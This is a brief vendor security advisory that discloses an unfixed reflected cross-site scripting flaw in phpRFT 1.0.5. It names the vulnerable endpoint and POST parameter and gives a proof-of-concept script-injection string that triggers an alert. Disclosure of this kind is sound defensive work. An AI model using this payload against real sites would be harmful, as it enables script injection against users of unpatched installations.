Reflected XSS Vulnerability in phpRFT 1.0.5


Advisory by Netsparker (now Invicti)
Name: Reflected XSS Vulnerability in phpRFT
Affected Software: phpRFT 1.0.5
Affected Versions: 1.0.5
Vendor Homepage:  
Vulnerability Type: Cross-site Scripting
Severity: Important
Status: Not Fixed
Invicti Advisory Reference: NS-17-012

Technical Details

Proof of Concept URL for XSS vulnerability in phpRFT 1.0.5;

URL: /phpRFT-1.0.5/index.php
Parameter Name: name
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x0021FE)</scRipt>

For more information on cross-site scripting vulnerabilities, see Cross-site Scripting (XSS).

Advisory Timeline

27 Feb 2017 – Advisory released


No solution is available at the time of publishing this advisory.

Credits & Authors

This issue has been discovered by Enes Aslanbakan while testing Invicti Web Application Security Scanner.

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